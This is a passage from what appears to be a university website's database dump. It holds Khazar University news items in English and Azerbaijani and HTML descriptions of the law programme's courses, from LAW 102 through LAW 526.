Science Association, a PhD student of University College London, held a seminar...','<p>On October 19, 2017, Madina Gulieva, Deputy Chairman of Azerbaijan Science Association, a PhD student of University College London, held a seminar on \"Nanotechnology in Medicine\", organized by Khazar University Association of PhD and Master’s Studies, for the students of the university and conducted a discussion session with the listeners.</p><p>The seminar was attended by Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, Dr Hassan Niknafs, rector of Khazar university and Assoc. Prof. Irada Khalilova, vice rector for Research.</p>'),(4510,2675,'az','PETRA layihəsi çərçivəsində Qazi Universitetində görüş','2017-ci il noyabrın 19-dan 24-dək Xəzər Universiteti Təhsil fakültəsinin dekanı Dr. Elza Səmədova, Riyaziyyat kafedrasının müdiri Dr. Əli Hüseynli...','<p>2017-ci il noyabrın 19-dan 24-dək Xəzər Universiteti Təhsil fakültəsinin dekanı Dr. Elza Səmədova, Riyaziyyat kafedrasının müdiri Dr. Əli Hüseynli və İnkişaf mərkəzinin layihə meneceri Ülkər Bayramova “Azərbaycan universitetlərində tədris və təlimin təkmilləşdirilməsi” adlı ERASMUS+ layihəsi çərçivəsində Türkiyənin Qazi Universitetində keçirilən silsilə seminarlarda iştirak etdilər.</p><p>Tədbirdə həm Azərbaycandan (Xəzər Universiteti, Naxçıvan Dövlət Universiteti, Gəncə Dövlət Universiteti, Sumqayıt Dövlət Universiteti, Bakı Slavyan Universiteti, Azərbaycan Dillər Universiteti, Azərbaycan Dövlət Pedaqoji Universiteti, Azərbaycan Universiteti), həm də Avropadan (Debrecen Universiteti (Macarıstan), Valensiya Politexnik Universiteti (İspaniya), Vyana Tətbiqi Elmlər Universiteti (Avstriya), Qazi Universiteti (Türkiyə) olan tərəfdaş universitetlərin 40-a yaxın nümayəndəsi iştirak edirdi.</p><p>5 günlük seminarda iştirakçılar Qazi Universiteti, universitet fakültələri, universitetdə təlim-tədrisin təşkili, fənn laboratoriyaları və laboratoriyalarda təcrübələrin aparılması, müxtəlif dərslərdə öyrənmə və öyrətmənin yeni metodlarla təşkili haqqında geniş məlumatlar əldə etdilər, müxtəlif dərsləri əyani olaraq dinlədilər. Bundan əlavə, iştirakçılar üçün açıq havada coğrafiya dərslərinin təşkili və onun həyata keçirilməsini nümayiş etdirmək üçün Ankaranın Kizilcahamam bölgəsinə səfər təşkil edildi və açıq havada dəsrlərin keçirilməsi metodları əyani olaraq göstərildi.</p><p>Qazi Universitetində keçirilmiş seminarlar bütün tədbir iştirakçıları tərəfindən maraqla qarşılandı və yeni təcrübələrin əldə olunmasına nail olundu.</p><p>Bununla yanaşı, Dr. Elza Səmədova Qazi Universiteti, Çankaya Universiteti, Hacettepe Universiteti, Orda Doğu Texniki Universiteti və Ankara Universitetinin prorektorları, Təhsil İnstitutları və Təhsil fakültələrinin nümayəndələri ilə də məhsuldar görüşlər keçirdi və bu qurumlarla Xəzər Universitetinin Təhsil fakültəsi arasında əməkdaşlıq qurulması, magistratura və doktorantura səviyyəsində ikili ixtisas və ortaq ixtisasartırma proqramılarının həyata keçirilməsi istiqamətində müzakirələr apardı.</p><p>Bundan başqa, Dr. Elza Səmədova Ankara səfərində Çankaya Universitinə bağlı “Özəl Arı Okulları” orta məktəbini ziyarət etdi və bu məktəbdə ERASMUS+ layihəsi çərçivəsində qurulan laboratoriyalarla tanış oldu və Xəzər Universitetinin “Dünya” məktəbi ilə dostluq əlaqələrinin qurulması, birgə layihələr verilməsi istiqamətində ilkin müzakirələr apardı.</p><p>Görüşlər əsnasında bu universitetlərin nümayəndələrinə 2018-ci il aprelin 20-si və 21-də Xəzər Universitetində təşkil olunacaq “Qlobal təhsil” adlı I Beynəlxalq Təhsil Simpoziumu haqqında da məlumat verildi, posterlər təqdim olundu.</p>'),(4511,2676,'az','Professor Hamlet İsaxanlı Almaniyada beynəlxalq tədbirdə iştirak etmişdir','Xəzər Universitetinin təsisçisi və Direktorlar və Qəyyumlar Şurasının sədri Professor Hamlet İsaxanlı, və Dünya məktəbinin təsisçisi...','<p>Xəzər Universitetinin təsisçisi və Direktorlar və Qəyyumlar Şurasının sədri Professor Hamlet İsaxanlı, və Dünya məktəbinin təsisçisi Nailə xanım İsayeva 19-22 noyabr, 2017-ci ildə Almaniyanın Berlin şəhərində keçirilən “Müstəqil ikidilli məktəblərin “Məktəbə gedən yol” (“Дорога в школу”) adlı beynəlxalq konfrans”da iştirak etmişlər.</p><p>Tədbirdə Nailə xanım İsayeva Dünya məktəbi haqqında məlumatla çıxış etmişdir. Professor Hamlet İsaxanlı Xəzər Universiteti və Dünya məktəbinin yaranma səbəbləri və şəraiti haqqında danışmışdır. Həmçinin, o, məktəb konsepsiyası və keyfiyyət mövzusunda çıxış etmiş, plenar iclaslardan birinə həmsədrlik etmişdir.</p><p>Prof. Hamlet İsaxanlı və Nailə xanım İsayeva Lomonosov Berlin məktəbinin işi ilə tanış olmuşlar.</p>'),(974,628,'az','Fənlərin Təsviri','Fənlərin Təsviri','<p style=\"text-align:justify\"><strong>LAW 102: Law Enforcement Systems (6&nbsp;ECTS)</strong></p><p style=\"text-align:justify\"><strong>Prerequisite: NONE</strong></p><p style=\"text-align:justify\">In the framework of this course, students will get acquainted with various institutions of justice in Azerbaijan. Judicial authority, systems of general and economic courts, aims, problems and main functions of the Constitutional Court of Azerbaijan will be considered during the course. It also explores the structure of other Law Enforcement Systems of Azerbaijan.  <br></p><p style=\"text-align:justify\"><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong>&nbsp;</strong><strong>LAW 104: Law and Society (Theory and History of State and Law) (<strong>6&nbsp;ECTS</strong> )</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: NONE</strong></p><p style=\"text-align:justify\"><strong></strong>The course studies philosophical and historical characteristics of the basic concepts of State and Law, as well as legislative, executive, and judicial branches of the government. It also explores legal institutions of different European and Asian societies from the ancient and medieval times till present.<strong>&nbsp;</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 106: Constitutional Law (<strong>6&nbsp;ECTS</strong> )</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: NONE</strong></p><p style=\"text-align:justify\"><strong></strong>This course mainly explores the basis of human rights and freedoms, political and economic structure of society and the main principles of formation and activities of the state governmental bodies.<strong>&nbsp;</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 107: Basics of Law (<strong>6&nbsp;ECTS</strong> )</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: NONE</strong></p><p style=\"text-align:justify\"><strong></strong>This course provides a basic understanding of the legal system of Azerbaijan Republic. The course focus includes procedural issues in the courts and specific concepts of basic categories of law (including civil law, criminal law, family law, labor law and tax law). This course is designed for non-law students.<strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 108: Roman Law (<strong>6&nbsp;ECTS</strong></strong><strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: NONE</strong></p><p style=\"text-align:justify\"><strong></strong>This course is one devoted to understanding the principles and mechanisms of the Roman law. Students will be concerned with the emergence of the main concepts of the civil law, the development of legal thinking, and the means by which the law was applied in daily life. Major areas of the law that will be covered include the law of persons, the law of property and ownership, contracts, delicts, and ‘crime’. The development of a legal profession, of the court system, and of actions and types of litigation will also be considered.<strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>LAW 118: Administrative Law (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 106</strong></p><p style=\"text-align:justify\"><strong></strong>This course studies existing administrative systems in Azerbaijan. It also explores the constitutional powers and limitations on agency action, judicial review of agencies, and the procedures with which agencies must comply in regulating or providing benefits.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 128: Islamic Law (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: NONE</strong></p><p style=\"text-align:justify\"><strong></strong>The course studies nature of Islamic Law, its origins and historical development, the medieval schools of law modern, the evolution of the law, and its roles in Islamic religious and political thought. It also deals with the definition of Islamic Sharia’ as a source of law, characteristics of Islamic law and Islamic jurisprudence, and the relationship between Islamic law and Islamic jurisprudence.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 202: Civil Law (General Part) (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 106</strong></p><p style=\"text-align:justify\"><strong></strong>The course on Civil Law is one of the main legal disciplines, the study of which is necessary for all the students of the law department. It covers general and theoretical aspects of Civil Law and discusses definite scientific institutes existing in Civil Law. Among the topics covered during the course, the following can be mentioned: principles of civil rights, bases for civil relations’ occurrence, the occurrence of civil rights and duties, a concept of property forms, etc. This course is taught in two semesters. The first part of the course is mainly about legal entities and individuals, terms in Civil Law, bargaining and torts.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 204: Criminal Law (General Part) (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 106</strong></p><p style=\"text-align:justify\"><strong></strong>Criminal law course examines the traditional general issues in the substantive criminal law, including the purposes of punishment, the requirements of the act and mental state, complicity, causation, justification, an excuse. It stresses the difficulty of converting moral judgments of blameworthiness and psychological questions about deterrence into coherent positive law.<strong>&nbsp;</strong>This course is taught in two semesters. The first part of the course studies General Part of the Criminal Code of Azerbaijan Republic. It mainly focuses on the fundamental principles of Criminal Law, general institutions of Criminal Law, detailed analysis of specific offenses and types of sanctions. This course mainly deals with the General part of the Criminal code of Azerbaijan Republic<strong>.</strong>&nbsp;Topics to be covered in the course are the definition of crime and punishment, the elements, and obligations of the crime.</p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>LAW 206: Legal English (ESP) (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: ENGL 101,102; LAW 104</strong></p><p style=\"text-align:justify\"><strong></strong>This course focuses on providing students with the necessary knowledge and skills to be successful in an English-speaking legal environment.&nbsp; The course covers legal vocabulary, oral and written argumentation, and public speaking. It will help students develop the language skills, legal knowledge, and confidence necessary to be successful in international careers in the field of law.<strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 212: Civil Law (Special Part) (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 202</strong></p><p style=\"text-align:justify\"><strong></strong>The second part of the course studies contract, debt, purchase, leasing, etc. This course also explores delicts of the torts.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 214: Criminal Law (Special Part) (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 204</strong></p><p style=\"text-align:justify\"><strong></strong>The second part of the course studies Special Part of the Criminal Code of Azerbaijan Republic. The aim of this course is to explore each criminal action<strong><em>.</em></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 220: Family Law (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 106</strong></p><p style=\"text-align:justify\"><strong></strong>This course focuses on the legal regulation and response to family relationships. With respect to adult relationships, topics will include marriage, with emphasis on the evolving law on divorce, the financial consequences of divorce including property division and alimony, premarital agreements, and the laws governing non-marital relationships. With respect to the status of children in the family, topics will include child custody, visitation, child support, adoption, paternity, abuse and neglect and other public law responses to child welfare.</p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>LAW 224: Welfare Law (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 106</strong></p><p style=\"text-align:justify\"><strong></strong>The science of Welfare itself regulates such a wide range of questions as social and legal issues connected with the citizen’s illness and physical disabilities, old age and pension provision, unemployment and receiving of social help. In the framework of the course program, a comparative analysis of the Welfare systems in Azerbaijan and other countries will be presented.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 302: Civil Process (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>This course covers a wide range of fundamental topics in civil procedure, including joinder of claims and parties, class actions and other aggregative litigation techniques, procedural problems of appeals, other courts, post-verdict practice, remedies, alternatives to adjudication, and selected topics of current interest. This course is strongly recommended for students planning a practice in civil litigation, managing or supervising litigation.<strong></strong><strong>&nbsp;</strong><strong>LAW 304: Criminal Process (<strong>6&nbsp;ECTS</strong>)</strong><strong>Prerequisite: LAW 214</strong>This course provides the students with main theoretical and practical skills about Criminal Process, familiarizes with legislation about Criminal Procedure. The course also explores work principles of investigations by police department preliminary investigator, prosecutor and court to implement the norms of Criminal procedure in practice. Criminal Procedure covers the pretrial criminal process from arrest to charging decision, with emphasis on constitutional criminal procedure, criminal investigation, and criminal evidence. Arrests, searches and seizures, interrogations and confessions, lineups and identification evidence, preliminary hearings, grand jury proceedings, and indictments are considered. Criminal Procedure covers the criminal trial process and post-trial proceedings, including pretrial motions, discovery, guilty pleas, jury selection, trials, sentencing, appeals, and post-conviction relief procedures.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 305: Business Law (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 202</strong></p><p style=\"text-align:justify\"><strong></strong>The course provides students with the knowledge of the modern business law. The course focuses on the following topics: financial law, stocks and other securities transaction contracts, property law, land use control, legal considerations in torts, contracts, corporations, bankruptcy, accounting, and law.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 306: Legal Writing (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 104</strong></p><p style=\"text-align:justify\"><strong></strong>This course provides advanced training in legal writing across the range of situations typically met by the practicing lawyer and in the ways that different types of legal writing help to solve clients’ problems. This course will examine the way that practicing lawyers use writing for the varying types of tasks, which they perform. The course asks students to distinguish between the types of writing that lawyers use for transactions, litigation, statutes, and client communication and helps them to decide how to use those four types of legal writing in particular situations. Each class session will explore a factual situation that calls for a type of legal writing. Another focus of the course will be an exploration of the way that lawyers use the techniques of legal writing to solve problems. Also, the students will learn both objective and persuasive writing styles.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 308: Housing Law (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>This course is aimed to study problems connected with the use of apartment houses (flats) owned by citizens, co-operative societies or the state. Being an applied area of Law, Housing Law is closely connected with practice, where disputes of the similar nature happen very often.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 312: Introduction to Advocacy (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 302, LAW 304</strong></p><p style=\"text-align:justify\"><strong></strong>This introductory course covers the theories, procedures, techniques, tactics and performance aspects of trial practice, as well as the role of the attorney in civil and criminal processes.&nbsp;Students conduct direct and cross examinations, introduce evidence, make opening statements and closing arguments, and participate in trials during this course.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 324:&nbsp;</strong><strong>Municipal Law&nbsp;</strong><strong>(<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong></strong><strong>Prerequisite: LAW 106</strong></p><p style=\"text-align:justify\"><strong></strong>Municipal Law is a rule of civil conduct, prescribed by the supreme power of a state. This course examines the legal and constitutional relationship of the government to the state. The main part of the course explores the nature and powers of local units of government and the legal problems confronting such units. The increased importance of regional planning and special district organization is emphasized.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 326: Agricultural Law (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>This course studies how the law affects and is affected by agriculture, land and production credits, including agricultural leases and security interests in farm products; anti-corporate farming laws; state regulation of production, distribution, and marketing of crops and livestock; agricultural co-operatives; legal mechanisms promoting the preservation of farmland.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 330: Competition Law (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 106</strong></p><p style=\"text-align:justify\"><strong></strong>Competition law is a law which seeks to promote competition and prohibit unfair trade practices in the marketplace and generally encompasses antitrust and consumer protection laws.By the end of the course, students will have gained a good understanding of the general competition law principles.<strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 340: Criminology (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 214</strong></p><p style=\"text-align:justify\"><strong></strong>Criminology is a social-legal science, which studies a crime, its reasons, and circumstances in which it occurs. This course presents an examination of the field of criminology, including its theories, basic assumptions, and definitions. Among the topics covered the following can be mentioned: research design for criminological studies with an emphasis on data collection methods and measurement of validity and reliability, use of statistical techniques in criminology aimed at familiarizing students with the nature and utility of qualitative fieldwork in various areas of criminological research.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 400: Legal Clinics (Criminal Law) (<strong>6&nbsp;ECTS</strong>)</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 304</strong></p><p style=\"text-align:justify\"><strong></strong>This clinical option provides a mechanism for students to earn academic credit for experiential learning done in conjunction with a classroom course. Students engage in activities that allow them to study the law and theory learned during the course of a practice-related experience. Students get experience in representing the clients in criminal cases. Conducted under the supervision of clinical faculty, students are responsible for all aspects of representation, including presentations in court.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 402: Legal Clinics (Civil Law) <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 302</strong></p><p style=\"text-align:justify\"><strong></strong>Students represent clients in a variety of civil matters. These include domestic cases, such as the dissolution of marriage, custody, support, paternity, and domestic violence; housing controversies; consumer problems; challenges to administrative decisions of state; and a variety of other general civil problems.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 404: Patent Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>It explores basic principles of Patent Law. Topics include philosophical and public policy considerations underlying Patent Law; requirements for the patentability; operations of Azerbaijan’s Patent Office, including applying for patents procedures; patent applicants’ duties of candor, disclosure to patent office, and consequences for failing to discharge those duties; infringements of patents, including analytical framework for determining whether a patent is infringed; remedies for patent infringement.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 406: Arbitration Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 302</strong></p><p style=\"text-align:justify\"><strong></strong>This course will focus on legal and procedural aspects of arbitration agreements and the conduct of arbitration proceedings in Azerbaijan. The course will provide students with an understanding of the law of arbitration as it relates to drafting enforceable agreements to arbitrate virtually any civil claim that can be heard by a court of law. The course will also provide students with an in-depth view of the arbitration process itself, including the filing of an arbitration claim, selecting arbitrators and how to conduct the arbitration proceeding itself.<strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 408: Labor Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>This course studies Labor Law – one of the branches of Law, which is aimed to regulate labor relations between employer and employee. The course analyses in comparative perspective legal mechanisms of employees’ social protection formed as a result of the influence of labor legislation norms’ system.</p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>LAW 410: Election Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 106</strong></p><p style=\"text-align:justify\"><strong></strong>This course mainly focuses on the ways in which laws governing the political process affect and reflect political power relationships. Right to vote, reapportionment, political parties, bribery, campaign finance, incumbency and ballot propositions are main topics to be covered during the course.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 416: Health Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>A survey of health law which will include coverage of issues selected from some or all of the following areas: patient access to health care services; the organization of health care delivery systems and the prominent rise of managed care; public and private health care insurance; quality of care issues including regulation, licensure and legal liability of hospitals and healthcare providers; antitrust issues related to health care financing and organization; and bio-ethical dilemmas in law and medicine.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 430: Forensic&nbsp; Expertise <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 304</strong></p><p style=\"text-align:justify\"><strong></strong>This course is the part of Criminalistics that mainly explores the implementation of the field. The aim of the course is to develop both practical and theoretical skills of the students in this area of law. Topics to be studied include: how to implement and define Court medical expertise, right evaluation of the results of expertise and others.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 432: Court Psychiatry <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 304</strong></p><p style=\"text-align:justify\"><strong></strong>This course mainly deals with the role of lawyers and psychiatrists in the handling of the mentally ill within the legal process, the civil and criminal commitment processes, insanity and automatism defenses, and mental illness as it relates to legal capacity.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 448: Criminalistics <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong></strong>On the basis of its own scientific researchers and elaboration, criminalistics provides investigators, operatively investigating workers and experts with well grounded and scientifically checked means, ways and methods to investigate and disclose the most complicated crimes.</p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>LAW 502:&nbsp;</strong><strong>Contract Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>This course will examine major legal concepts that lawyers might face in their professional activities.&nbsp; It will mainly focus on basic notions of contract law, offer and acceptance, employment contracts, business organizations, taxation of various contracts, dispute resolution mechanisms, and transactions involving intellectual property rights. Students will read and analyze the sources of contract law, including both judicial decisions (case law) and statutes.<strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 504: Crimes Against Personality <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 214</strong></p><p style=\"text-align:justify\"><strong></strong>This course studies personal crimes clearly distinguished among others with their great threat to society, to the system of crimes according to legislation in force, to the legal analysis of the norms against life, health, honor, and dignity, as well as sexual freedom and sexual immunity and issues related to judicial experience.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 506: Crimes against Property <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 214</strong></p><p style=\"text-align:justify\"><strong></strong>According to the acting Criminal Code of Azerbaijan Republic, all encroachments to any kind of property are punished by the Law. This course covers questions connected with crimes against state, municipal and private property.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 508: Advocacy&nbsp;</strong><strong><strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite:</strong><strong>&nbsp;LAW 302, LAW 304</strong></p><p style=\"text-align:justify\"><strong></strong>This lawyering skills course gives students an orientation to and constant practice in most basic pretrial and trial advocacy skills areas. Topics include taking and defending depositions, motion practice, trial evidence, opening statements, direct and cross-examination, and closing arguments. The main aim of this course that skills are best acquired in an experiential manner by seeing and doing.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 510:&nbsp;</strong><strong>Financial Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite:</strong><strong>&nbsp;LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>This course studies all financial institutes of Azerbaijan Republic. Financial and legal norms regulate legal relationships emerging in such spheres as state’s financial policy, tax system, practical activity of the financial bodies and their jurisdiction, etc. Legal relationships which are regulated by this branch of law are based not on the subjects’ equality of rights which is pointed out in Civil Law, but on the principles of administrative subordination.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 512: Commercial Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>This course provides an introduction to the concepts and methods of commercial law. It will also introduce students to the creation, transfer, and enforcement of negotiable instruments (e.g., checks and promissory notes) and the creation, priority and enforcement of security interests in personal property.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 514: Tax Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>This course also intends to develop knowledge on the basics of tax law, the type of taxes and their collection rules. The course will cover the nature and structure of administrative agencies and where they fit in our Separation of Powers scheme; the forms that agency action might take, both formal and informal means used by the legislative, judicial, and executive branches to control and review what agencies do; and the constitutional constraints that limit agency action. It also considers normative questions about the legitimacy and accountability of government agencies in our constitutional system.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 520: Penology <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 214</strong></p><p style=\"text-align:justify\"><strong></strong>This course is concerned with the evolution of systems of punishment and the effect of prison on inmates, their families, and correctional officers. It also studies the processes devised and adopted for the punishment, repression, and prevention of crime, and the treatment of prisoners.<strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 526: Education Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 106</strong></p><p style=\"text-align:justify\"><strong></strong>This course will examine current legal problems of elementary/secondary education in both public and private schools. Topics to be discussed include the state’s constitutional power over education, the authority of state and local school boards through which the state provides and regulates education, compulsory education, homeschooling, curriculum control, hiring and terminating teachers, disciplining students, student and teacher freedom of expression, students with disabilities, allocation of educational resources among school districts, and the government’s role in education.<strong></strong>&nbsp;</p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>LAW 536: Conflict of 